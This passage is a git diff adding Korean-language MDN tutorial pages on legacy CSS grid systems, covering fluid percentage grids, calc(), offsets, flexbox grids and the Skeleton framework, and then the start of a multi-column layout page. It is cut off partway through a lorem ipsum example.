+<p>이제 격자 시스템이 작동합니다. 여러분은 단순히 행 무리를 정의하고 각 행에 열 갯수를 정의한 다음 각 컨테이너에 필요한 내용을 채울 수 있습니다. 대단하죠!</p>
+
+<h3 id="유동_격자_생성하기">유동 격자 생성하기</h3>
+
+<p>우리 격자는 잘 작동하지만, 고정 너비를 가지고 있습니다. 우리는 브라우저 {{Glossary("viewport")}}에서 사용 가능한 공간과 함께 확대되고 축소될 가변 (유동) 격자를 정말로 원합니다. 이를 위해 기준 픽셀 너비를 백분율로 바꿀 수 있습니다.</p>
+
+<p>고정 너비를 유연한 백분율 기반으로 변환하는 방정식은 다음과 같습니다.</p>
+
+<pre>target / context = result</pre>
+
+<p>열 너비의 경우 목표 너비는 60픽셀이고 콘텐츠는 래퍼 클래스의 총합 960픽셀입니다. 우리는 백분율을 계산하기 위해 다음을 사용할 수 있습니다.</p>
+
+<pre>60 / 960 = 0.0625</pre>
+
+<p>그리고 나서 우리는 소수점을 2자리 옮기면 백분율 6.25%가 주어집니다. 그래서 우리의 씨에스에스에서 60픽셀의 열 너비를 6.25%로 대체할 수 있습니다.</p>
+
+<p>우리는 여러분의 배수로 너비에도 똑같이 적용해야 합니다.</p>
+
+<pre>20 / 960 = 0.02083333333</pre>
+
+<p>따라서 우리는 <code>.col</code> 규칙에 있는 20픽셀의 {{cssxref("margin-left")}}과 <code>.wrapper</code> 규칙에 있는 20픽셀의 {{cssxref("padding-right")}}를 2.08333333%로 대체해야 합니다.</p>
+
+<h4 id="여러분의_격자_업데이트_하기">여러분의 격자 업데이트 하기</h4>
+
+<p>이번 절을 시작하려면 이전 예제 페이지의 새 사본을 만들거나 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">simple-grid-finished.html</a>를 착수파일로 사용하십시요.</p>
+
+<p>다음과 같이 (<code>.wrapper</code> 선택기에 해당하는) 두 번째 씨에스에스 규칙을 업데이트 하십시요:</p>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 980px;
+  margin: 0 auto;
+}
+
+.wrapper {
+  padding-right: 2.08333333%;
+}</pre>
+
+<p>우리는 백분율 너비를 부여했을뿐만 아니라 조판이 과도하게 확대되는 것을 막기 위해 {{cssxref("max-width")}} 속성을 추가했습니다.</p>
+
+<p>다음은 아래와 같이 (<code>.col</code> 선택기에 해당하는) 네 번째 씨에스에스 규칙을 업데이트 하십시요:</p>
+
+<pre class="brush: css">.col {
+  float: left;
+  margin-left: 2.08333333%;
+  width: 6.25%;
+  background: rgb(255, 150, 150);
+}</pre>
+
+<p>이제 약간 노동력이 투여되어야 할 부분이 있습니다. 픽셀 너비보다는 백분율을 사용하기 위해 모든 <code>.col.span</code> 규칙을 업데이트해야 합니다. 계산기를 사용하려면 시간이 좀 걸립니다. 여러분들의 노력을 아끼기 위해, 아래와 같이 여러분을 대신에 우리가 마무리지었습니다.</p>
+
+<p>다음을 통해 씨에스에스 규칙의 하위 블록을 업데이트합니다.</p>
+
+<pre class="brush: css">/* Two column widths (12.5%) plus one gutter width (2.08333333%) */
+.col.span2 { width: 14.58333333%; }
+/* Three column widths (18.75%) plus two gutter widths (4.1666666) */
+.col.span3 { width: 22.91666666%; }
+/* And so on... */
+.col.span4 { width: 31.24999999%; }
+.col.span5 { width: 39.58333332%; }
+.col.span6 { width: 47.91666665%; }
+.col.span7 { width: 56.24999998%; }
+.col.span8 { width: 64.58333331%; }
+.col.span9 { width: 72.91666664%; }
+.col.span10 { width: 81.24999997%; }
+.col.span11 { width: 89.5833333%; }
+.col.span12 { width: 97.91666663%; }</pre>
+
+<p>이제 코드를 저장하고 브라우저에 내용을 불러들이면 뷰포트 너비를 변경해보십시오. 열 너비가 멋지게 조정되는 것을 볼 수 있어야 합니다.</p>
+
+<div class="note">
+<p><strong>참조</strong>: 위의 예제를 제대로 적용하기가 어렵다면 깃허브에 있는 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">완성된 버전</a>과 비교해보라. (<a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html">라이브로도 보세요</a>).</p>
+</div>
+
+<h3 id="calc_함수를_사용한_편리한_계산법">calc() 함수를 사용한 편리한 계산법</h3>
+
+<p>씨에스에스 내부에서 직접 calc() 함수를 사용하여 수학 계산을 할 수 있습니다. 이것은 여러분의 씨에스에스 값에 단순한 수학 방정식을 삽입하고 값이 무엇인지 계산할 수 있게 해줍니다. 복잡한 수학이 있을 때 특히 유용하며, 예를 들어 "나는 이 요소의 높이가 항상 부모의 높이의 100% 마이너스 50px가 되기를 원한다"와 같은 서로 다른 단위를 사용하는 셈법까지 계산할 수 있습니다. <a href="/ko/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()">MediaRecorder API 자습서에 있는 예제를 보십시요</a>.</p>
+
+<p>어쨌든, 다시 여러분의 격자로 복귀합시다! 여러분의 격자에서 한 열 이상을 하나로 합치기하고자 하는 어떤 열은 총 너비가 6.25%이고, 거기에 하나로 합치기할 열 갯수를 곱하고, 거기에 2.08333333%를 배수로 갯수로 곱하기합니다(실제 배수로의 갯수는 항상 열 갯수에서 하나 빼기가 됩니다.) 여러분은 <code>calc()</code> 함수을 통해서 여러분이 이러한 셈법을 너비 값 내부에서 바로 계산을 할 수 있으므로, 4열 합치기할 항목에 대해서는 다음과 같이 할 수 있습니다.</p>
+
+<pre class="brush: css">.col.span4 {
+  width: calc((6.25%*4) + (2.08333333%*3));
+}</pre>
+
+<p>여러분의 씨에스에스 규칙의 하단 블록을 다음 값으로 대체한 다음 브라우저에서 다시 불러들여 동일한 결과를 얻을 수 있는지 확인하십시오:</p>
+
+<pre class="brush: css">.col.span2 { width: calc((6.25%*2) + 2.08333333%); }
+.col.span3 { width: calc((6.25%*3) + (2.08333333%*2)); }
+.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); }
+.col.span5 { width: calc((6.25%*5) + (2.08333333%*4)); }
+.col.span6 { width: calc((6.25%*6) + (2.08333333%*5)); }
+.col.span7 { width: calc((6.25%*7) + (2.08333333%*6)); }
+.col.span8 { width: calc((6.25%*8) + (2.08333333%*7)); }
+.col.span9 { width: calc((6.25%*9) + (2.08333333%*8)); }
+.col.span10 { width: calc((6.25%*10) + (2.08333333%*9)); }
+.col.span11 { width: calc((6.25%*11) + (2.08333333%*10)); }
+.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 여러분은 최종 버전을 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html">fluid-grid-calc.html</a>에서 확인할 수 있습니다. (<a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html">라이브로도 보세요</a>).</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 여러분의 실습 과정에서 이 같은 내용이 제대로 작동되지 않았다면 여러분의 브라우저가 <code>calc()</code> 함수를 지원하지 않기 때문일 수 있습니다. 다만 이 함수는 멀게는 인터넷 익스플로러 9까지 브라우저 구분없이 지원됩니다.</p>
+</div>
+
+<h3 id="말_되는_VS_“말_안되는”_격자_시스템">말 되는 VS “말 안되는” 격자 시스템</h3>
+
+<p>조판을 정의하기 위해 여러분의 마크업에 클래스를 추가하면 콘텐츠와 마크업이 시각적 프리젠테이션과 결부됩니다. 당신은 때때로 콘텐츠를 설명하는 클래스에 말되는 이름을 사용하기보다는 콘텐츠가 어떻게 보일지 설명하는 "말 안되는" 이름을 사용하는 씨에스에스 클래스 용례를 접하게 됩니다. 여기서 <code>span2</code>, <code>span3</code>, 기타 등등과 같은 클래스의 경우가 그렇습니다.</p>
+
+<p>이런 식의 접근 방법만 있는게 아닙니다. 대신 여러분이 격자를 결정한 다음 말 되게 명명된 기존 클래스 규칙에 크기 정보를 추가할 수 있습니다. 예를 들어, 여러분이 8열을 하나로 합치기 원하는 {{htmlelement("div")}} 요소에 <code>content</code>라는 클래스를 부여할 경우 <code>span8</code> 클래스가 출처인 너비 계산값을 복사해 쓸 수 있는데, 그와 같은 규칙은 이렇게 제공됩니다:</p>
+
+<pre class="brush: css">.content {
+  width: calc((6.25%*8) + (2.08333333%*7));
+}</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 당신이 <a href="http://sass-lang.com/">Sass</a>와 같은 전처리기를 사용하려면, 당신을 위해 해당 값을 삽입해주는 간단한 <code>maxin</code>를 생성할 수 있다.</p>
+</div>
+
+<h3 id="격자_내부에_컨테이너_오프셋_가동">격자 내부에 컨테이너 오프셋 가동</h3>
+
+<p>우리가 생성한 격자는 컨테이너 무리 전체를 격자의 왼쪽편과 일치시켜 출발하길 원하는 경우에 잘 작동합니다. 첫 번째 컨테이너 또는 컨테이너 사이에 빈 열 공간을 남기고 싶다면 여러분의 사이트에 왼쪽 여백을 추가하여 격자를 시각적으로 밀어 넣을 수 있는 오프셋 클래스를 생성해야 합니다. 또 다시 수학을!</p>
+
+<p>이렇게 해봅시다.</p>
+
+<p>이전 코드에서 출발하거나, <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">fluid-grid.html</a>을 착수 파일로 사용합니다.</p>
+
+<p>컨테이너 요소를 한 열 너비만큼 밀어낼 클래스를 여러분의 씨에스에스 안에 생성합니다. 다음을 당신의 씨에스에스의 맨 아래에 추가하세요:</p>
+
+<pre class="brush: css">.offset-by-one {
+  margin-left: calc(6.25% + (2.08333333%*2));
+}</pre>
+
+<p>Or if you prefer to calculate the percentages yourself, use this one:</p>
+
+<pre class="brush: css">.offset-by-one {
+  margin-left: 10.41666666%;
+}</pre>
+
+<p>이제 여러분이 왼편에 하나의 열 너비의 빈 공간을 남기길 원하는 컨테이너는 어느 것이든 이 클래스를 추가할 수 있습니다. 예를 들면 여러분의 에이치티엠엘에 이런 내용이 있다면:</p>
+
+<pre class="brush: html">&lt;div class="col span6"&gt;14&lt;/div&gt;</pre>
+
+<p>그걸 다음으로 대체하세요.</p>
+
+<pre class="brush: html">&lt;div class="col span5 offset-by-one"&gt;14&lt;/div&gt;</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 간격띄우기를 위한 공간을 만들기 위해, 합쳐질 열의 갯수를 줄여야 한다는 걸 놓치지 마세요!</p>
+</div>
+
+<p>달라진 모습을 보려면 브라우저에 불러들이거나 새로고침을 하세요. 아니면 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-offset.html">fluid-grid-offset.html</a> 예제가 <a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-offset.html">실제 실행</a>되는 장면을 보세요. 완성된 예는 다음과 같이 보여야 합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13903/offset-grid-finished.png" style="display: block; height: 47px; margin: 0px auto; width: 944px;"></p>
+
+<div class="note">
+<p><strong>참고</strong>: 추가 연습의 하나로 여러분은 <code>offset-by-two</code>(2칸 간격띄우기) 클래스를 구현할 수 있습니가?</p>
+</div>
+
+<h3 id="부동_격자_제한">부동 격자 제한</h3>
+
+<p>이런 시스템을 사용할 때는 총 너비가 정확하게 합산되는지, 행이 수용할 수 있는 것보다 더 많은 열을 하나로 합치려는 요소 무리를 행에 포함하지 않도록 주의해야 합니다. 부동체가 작동하는 방식 때문에 격자 열의 갯수가 해당 격자에 비해 너무 과대해지면 끝 부분에 있는 요소 무리가 다음 행으로 떨어지면서 격자가 깨집니다.</p>
+
+<p>또한 요소 무리의 콘텐츠가 그들 요소들이 점유하는 행보다 넓어지면, 대열이탈되어 엉망으로 보일 것이라는 점을 염두에 두십시오.</p>
+
+<p>이 시스템의 가장 큰 한계는 본질적으로 1차원이라는 점에 있습니다. 우리가 지금 여러 열에 걸쳐 요소를 하나로 합치도록 처리하자는 것이지 행 처리가 아닙니다. 이러한 오래된 조판 메서드는 요소의 높이를 명시적으로 설정하지 않고서는 요소의 높이를 제어하기가 매우 어렵습니다. 이는 매우 유연하지 않은 접근 방식이기도 합니다. 이는 여러분의 콘텐츠가 특정 높이라고 예상될 경우에만 먹힙니다.</p>
+
+<h2 id="가변상자_격자">가변상자 격자?</h2>
+
+<p><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">가변상자</a>에 대한 이전 기사를 읽으면 가변상자가 격자 시스템을 생성하는 데 이상적인 해결책이라고 생각할 수 있습니다. 이용할 수 있는 가변상자 기반 격자 시스템이 많이 있으며, 가변상자는 상기한 내용에서 격자를 만들 때 이미 발견한 많은 문제를 해결할 수 있습니다.</p>
+
+<p>그러나 가변상자는 격자 시스템처럼 디자인되지 않았으며 그런 식의 시스템으로 사용할 때 일련의 새로운 도전 과제를 던져줍니다. 간단한 예로 위에서 사용한 것과 동일한 예제 마크업을 채택해 아래의 씨에스에스를 사용하여 <code>wrapper</code>와 <code>row</code> 및 <code>col</code> 클래스를 사용하여 스타일링할 수 있습니다.</p>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 980px;
+  margin: 0 auto;
+}
+
+.wrapper {
+  padding-right: 2.08333333%;
+}
+
+
+.row {
+  display: flex;
+}
+
+.col {
+  margin-left: 2.08333333%;
+  margin-bottom: 1em;
+  width: 6.25%;
+  flex: 1 1 auto;
+  background: rgb(255,150,150);
+}</pre>
+
+<p>이 대체 요소를 여러분의 예제에서 만들거나, 우리의 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/flexbox-grid.html">flexbox-grid.html</a> 예제 코드를 볼 수 있습니다(<a href="http://mdn.github.io/learning-area/css/css-layout/grids/flexbox-grid.html">실제 실행</a> 장면도 참조하세요).</p>
+
+<p>여기에서 우리는 각 행을 가변 컨테이너로 탈바꿈하고 있습니다. 가변상자 기반 격자가 있다고 하더라도 요소를 다합쳐 100% 미만를 차지하는 요소 무리를 확보하려면 여러분은 여전히 행이 필요합니다. 우리는 해당 콘테이너를 <code>display: flex</code>로 설정했습니다.</p>
+
+<p>우리는 <code>.col</code> 클래스상에 {{cssxref("flex")}} 속성의 첫 번째 값인 ({{cssxref("flex-grow")}})를 1로 설정하여 항목 무리가 확장할 수 있게 하고, 두 번째 속성값인 ({{cssxref("flex-shrink")}})를 1로 설정하여 항목 무리가 축소할 수 있게 하며 세 번째 값인 ({{cssxref("flex-basis")}})를 <code>auto</code>로 설정했습니다. 우리의 요소는 {{cssxref("width")}}(너비)가 설정되어 있고, <code>auto</code> 값을 통해 해당 너비값을 <code>flex-basis</code> 값으로 사용하게 됩니다.</p>
+
+<p>맨 위 라인에는 격자 위에 12개의 깔끔한 상자가 있고, 뷰포트 너비를 변경할 때 상자는 똑같이 확장하고 수축합니다. 그러나 다음 행에서는 4개의 항목만 있으며, 이들은 60px 기준에서 확장하고 축소됩니다. 그 중 단 4개만 상위 행에 있는 항목보다 훨씬 더 많이 확장할 수 있습니다. 그 결과 두 번째 행에서 모두 같은 너비를 차지합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13905/flexbox-grid-incomplete.png" style="display: block; height: 71px; margin: 0px auto; width: 944px;"></p>
+
+<p>이를 수정하려면 해당 요소에 대해 <code>flex-basis</code>가 사용하는 값을 대체할 너비를 제공하기 위해 <code>span</code> 클래스를 포함해야 합니다.</p>
+
+<p>또한 상위 항목 무리가 사용하는 격자를 존중하지 않습니다. 왜냐하면 그들은 그것에 대해 아무것도 모르기 때문입니다.</p>
+
+<p>가변상자는 디자인 자체로 <strong>one-dimensional</strong>입니다. 그것은 1차원 즉 행이나 열을 다룹니다. 열과 행에 대해 엄격한 격자를 만들 수는 없습니다. 즉, 여러분의 격자에 가변상자를 사용하려면 부동 조판에서와 같이 백분율을 계산해야 합니다.</p>
+
+<p>당신이 참여하는 프로젝트에서 부동체보다 가변상자가 제공하는 공간 배분 능력이나 추가적인 정렬 기능을 이유로 여전히 가변상자 '격자'를 선택해 사용할 수도 있습니다. 하지만 당신이 사용하는 것이 원래 설계된 목적 이외의 다른 목적의 도구를 사용하고 있다는 것을 알아야 합니다. 그래서 당신은 이런 느낌이 들지도 모르겠다. 내가 원하는 최종 결과를 얻으려는 나에게 이놈이 추가적인 장애물을 통과하도록 만들고 있구나.</p>
+
+<h2 id="제3자_격자_시스템">제3자 격자 시스템</h2>
+
+<p>이제 우리는 격자 셈법의 배경이 되는 수학을 이해하게 되면서, 널리 이용되고 있는 제3자 격자 시스템 중 일부를 살펴 볼만한 좋은 여건을 갖췄습니다. 웹에서 "씨에스에스 격자 프레임워크"를 검색하면 선택할 수 있는 옵션 목록이 엄청납니다. <a href="http://getbootstrap.com/">Bootstrap</a>와 <a href="http://foundation.zurb.com/">Foundation</a>같은 인기 프레임워크에는 격자 시스템이 포함되어 있습니다. 또한 씨에스에스 혹은 전처리기를 사용하여 개발된 독립형 격자 시스템도 있습니다.</p>
+
+<p>이 독립형 시스템 중 하나를 살펴봅니다. 이 시스템은 격자 프레임워크를 사용하는 일반적인 기술을 보여줍니다. 우리가 사용할 격자는 단순한 씨에스에스 프레임워크인 Skeleton의 일부입니다.</p>
+
+<p>시작하려면 <a href="http://getskeleton.com/">Skeleton website</a>를 방문하고 ZIP 파일을 다운로드하기 위해 "다운로드"를 선택합니다. 압축파일을 풀고 skeleton.css와 normalize.css를 새 폴더에 복사하십시요.</p>
+
+<p><a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton.html">html-skeleton.html</a>파일의 복사본을 만들어, skeleton과 normalize 씨에스에스 파일이 위치한 폴더와 같은 폴더에 저장합니다.</p>
+
+<p>다음과 같은 내용을 복사본 파일의 헤드 섹션에 skeleton과 normalize 씨에스에스 파일에 포함시킵니다:</p>
+
+<pre class="brush: html">&lt;link href="normalize.css" rel="stylesheet"&gt;
+&lt;link href="skeleton.css" rel="stylesheet"&gt;</pre>
+
+<p>Skeleton에는 격자 시스템 이외에도 많은 내용이 포함되어 있습니다. 타이포그래피를 위한 씨에스에스 및 착수점으로 사용할 수 있는 다른 페이지 요소도 포함되어 있습니다. 하지만 지금은 이들을 기본값으로 남겨둘 겁이다. 우리가 정말로 관심을 갖고 있는 것은 격자입니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: <a href="/en-US/docs/">Normalize</a>는 니콜라스 겔러거가 작성한 정말로 유용한 소형 씨에스에스 라이브러리로, 자동으로 몇 가지 유용한 기본 조판의 수정을 수행하고, 기본 요소 스타일링을 브라우저를 막론하고 보다 일관되게 만들어 줍니다.</p>
+</div>
+
+<p>우리는 이전 예와 비슷한 에이치티엠엘을 사용할 것입니다. 다음을 여려분의 에이치티엠엘 바디에 추가하십시요:</p>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div class="row"&gt;
+    &lt;div class="col"&gt;1&lt;/div&gt;
+    &lt;div class="col"&gt;2&lt;/div&gt;
+    &lt;div class="col"&gt;3&lt;/div&gt;
+    &lt;div class="col"&gt;4&lt;/div&gt;
+    &lt;div class="col"&gt;5&lt;/div&gt;
+    &lt;div class="col"&gt;6&lt;/div&gt;
+    &lt;div class="col"&gt;7&lt;/div&gt;
+    &lt;div class="col"&gt;8&lt;/div&gt;
+    &lt;div class="col"&gt;9&lt;/div&gt;
+    &lt;div class="col"&gt;10&lt;/div&gt;
+    &lt;div class="col"&gt;11&lt;/div&gt;
+    &lt;div class="col"&gt;12&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="row"&gt;
+    &lt;div class="col"&gt;13&lt;/div&gt;
+    &lt;div class="col"&gt;14&lt;/div&gt;
+    &lt;div class="col"&gt;15&lt;/div&gt;
+    &lt;div class="col"&gt;16&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p><br>
+ Skeleton을 사용하기 위해서는 <code>container</code> 클래스를 랩퍼(바깥쪽) {{htmlelement("div")}}에 부여할 필요가 있습니다. 이 내용은 이미 우리 에이치티엠엘에 포함되어 있습니다. 이것은 최대 너비가 960픽셀인 콘텐츠를 중심부에 위치시킵니다. 이제 상자의 너비가 어떻게 960픽셀을 절대 초과할 수 없는지 볼 수 있습니다.</p>
+
+<p>이 클래스를 적용할 때 사용되는 씨에스에스를 보려면 skeleton.css 파일을 직접 볼 수 있습니다. <code>&lt;div&gt;</code>는 <code>auto</code> 좌우 여백 을 사용하여 중심부 위치에 놓이고, 20픽셀의 패딩을 좌우로 적용한다. 또한 Skeleton은 {{cssxref("box-sizing")}} 속성을 우리가 이전에 했던 것처럼 <code>border-box</code>로 설정하므로 이 요소의 패딩과 경계가 전체 너비에 포함됩니다.</p>
+
+<pre class="brush: css">.container {
+  position: relative;
+  width: 100%;
+  max-width: 960px;
+  margin: 0 auto;
+  padding: 0 20px;
+  box-sizing: border-box;
+}</pre>
+
+<p>요소는 행 안에 있는 경우에만 격자의 일부가 될 수 있으므로, 이전 예제와 마찬가지로 추가적인 <code>&lt;div&gt;</code>가 필요하거나 <code>content</code>와 <code>&lt;div&gt;</code>, 실제 콘텐츠 컨테이너 <code>&lt;div&gt;</code> 무리 사이에 중첩된 <code>row</code> 클래스가 부여된 다른 요소가 필요합니다. 우리는 이미 이것을 완성했습니다.</p>
+
+<p>이제 컨테이너 상자를 정리해 봅시다. Skeleton은 12개의 열 격자 기반입니다. 맨 위 라인의 상자 전체는 그 상자 무리를 하나의 열로 합치기 위해 모두 <code>one column</code>이란 클래스가 필요합니다.</p>
+
+<p>아래에 나온 에이치티엠엘 조각 내용을 지금 추가하십시오.</p>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div class="row"&gt;
+    &lt;div class="one column"&gt;1&lt;/div&gt;
+    &lt;div class="one column"&gt;2&lt;/div&gt;
+    &lt;div class="one column"&gt;3&lt;/div&gt;
+    /* and so on */
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>다음으로 아래와 같이 하나로 합치기할 열의 수를 설명하는 클래스를 두 번째 행에 놓인 컨테이너에 부여합니다.</p>
+
+<pre class="brush: html">&lt;div class="row"&gt;
+  &lt;div class="one column"&gt;13&lt;/div&gt;
+  &lt;div class="six columns"&gt;14&lt;/div&gt;
+  &lt;div class="three columns"&gt;15&lt;/div&gt;
+  &lt;div class="two columns"&gt;16&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>에이치티엠엘 파일을 저장하고 브라우저에 불러들여 효과를 확인하십시오.</p>
+
+<div class="note">
+<p><strong>참고</strong>:위의 예제를 제대로 적용하기가 어렵다면, 그것을 우리의 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html">html-skeleton-finished.html</a> 파일과 비교해 보십시요. (그것을 <a href="http://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html">라이브로도 보세요</a>).</p>
+</div>
+
+<p>당신이 (앞서 다운로드한) skeleton.css 내용을 보면 어떻게 작동하는지 알 수 있습니다. 예를 들어, Skeleton 파일에는 다음과 같이 "three columns" 클래스가 적용되는 요소를 스타일링하기 위한 정의가 부여되어 있습니다.</p>
+
+<pre class="brush: css">.three.columns { width: 22%; }</pre>
+
+<p>모든 Skeleton(또는 다른 격자 프레임워크)은 여러분의 마크업에 추가하여 사용할 수 있는 미리 정의된 클래스를 설정하는 것입니다. 해당 백분율을 계산하는 작업은 마치 당신이 직접 한 것과 똑같습니다.</p>
+
+<p>보시다시피, 우리는 Skeleton을 사용할 때 씨에스에스를 거의 쓰지 않아도 됩니다. 그것은(Skeleton) 당신의 마크업에 클래스를 추가할 때 우리를 대신해 모든 부동 요소를 처리합니다. 격자 시스템에 대한 프레임워크를 사용하여 만들어진 무언가에 조판에 대한 책임을 넘겨주는 이러한 능력을 갖춘 Skeleton은 설득력있는 선택입니다. 그러나 요즘 씨에스에스 격자 조판도 있고해서 많은 개발자가 씨에스에스가 제공하는 내장형 고유 격자를 사용하기 위해 이러한 프레임 워크에서 멀어지고 있습니다.</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>이제 다양한 격자 시스템이 어떻게 만들어지는지 이해하게 되었는데, 이는 구형 사이트에서 작업할 때와 씨에스에스 격자 조판이 제공하는 기본 격자와 이들 구형 시스템 간의 차이를 이해하는 데 유용합니다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="이번_단위에는">이번 단위에는</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">씨에스에스 조판 소개</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">일반 대열</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">가변상자</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">격자</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Floats">부동체</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/위치잡기">위치잡기</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 조판</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/반응형_디자인">반응형 디자인</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서">미디어 쿼리 초보자 안내서</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">레거시 조판 메서드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9D%B4%EC%A0%84_%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80_%EC%A7%80%EC%9B%90">이전 브라우저 지원</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">조판 이해도 필수 평가</a></li>
+</ul>
diff --git a/files/ko/learn/css/css_layout/multiple-column_layout/index.html b/files/ko/learn/css/css_layout/multiple-column_layout/index.html
new file mode 100644
index 0000000000..70f13c6c39
--- /dev/null
+++ b/files/ko/learn/css/css_layout/multiple-column_layout/index.html
@@ -0,0 +1,415 @@
+---
+title: 다단 레이아웃
+slug: Learn/CSS/CSS_layout/Multiple-column_Layout
+tags:
+  - CSS 붕괴
+  - 다단
+  - 다단 레이아웃
+  - 안내서
+  - 초보자
+  - 학습
+translation_of: Learn/CSS/CSS_layout/Multiple-column_Layout
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout")}}</div>
+
+<p class="summary">CSS 다단 레이아웃 규격은 신문에서 볼 수 있듯이 콘텐츠를 단으로 배치하는 방법을 제공합니다. 이 문서는 그 기능을 어떻게 사용하는지 설명합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결 사항:</th>
+   <td>HTML의 기초 (<a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 입문서</a>)와 CSS 작동 방식에 대한 개념(<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS 입문서</a>를 공부하세요.)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>신문에서 찾을 수 있는 것과 같은 웹 페이지상에 다단 레이아웃을 만드는 방법을 학습합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="기본_사례">기본 사례</h2>
+
+<p>이제 다단 레이아웃을 사용하는 방법을 탐색할 것입니다. 이를 일컬어 <em>multicol</em>(다단)로 통칭합니다. 아래 내용을 따라하려면 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/multicol/0-starting-point.html">다단 착수 파일</a>을 다운로드하고 적절한 장소에 CSS를 추가할 수 있습니다. 해당 섹션의 맨 아래에는 최종 코드가 어떻게 생겼는지에 대한 실제 예제가 있습니다.</p>
+
+<p>우리의 착수 파일에는 아주 간단한 HTML이 포함되어 있습니다. 그 내용은 제목과 일부 단락이 내부에 있는 <code>container</code> 클래스 래퍼입니다.</p>
+
+<p>컨테이너 클래스에 해당하는 {{htmlelement("div")}}는 다단 컨테이너가 될 예정입니다. {{cssxref("column-count")}} 혹은 {{cssxref("column-width")}} 속성 중의 하나를 사용해서 다단으로 전환합니다. <code>column-count</code> 속성은 당신이 부여하는 값만큼 다단을 생성하게 되며, 당신의 스타일시트에 다음과 같은 CSS를 추가하고 페이지를 새로고침하면 당신은 삼단 레이아웃을 얻게 됩니다:</p>
+
+<pre class="brush: css">.container {
+  column-count: 3;
+}
+</pre>
+
+<p>당신이 생성하는 단은 가변 너비를 갖게됩니다. 말하자면 브라우저가 각 단에 할당한 공간의 크기를 계산합니다.&lt;</p>
+
+<div id="다단_1">
+<div class="hidden">
+<h6 id="단의_갯수_예제">단의 갯수 예제</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+    </pre>
+</div>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;h1&gt;간단한 다단 예제&lt;/h1&gt;
+
+  &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.
+  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+  Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse
+  ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit
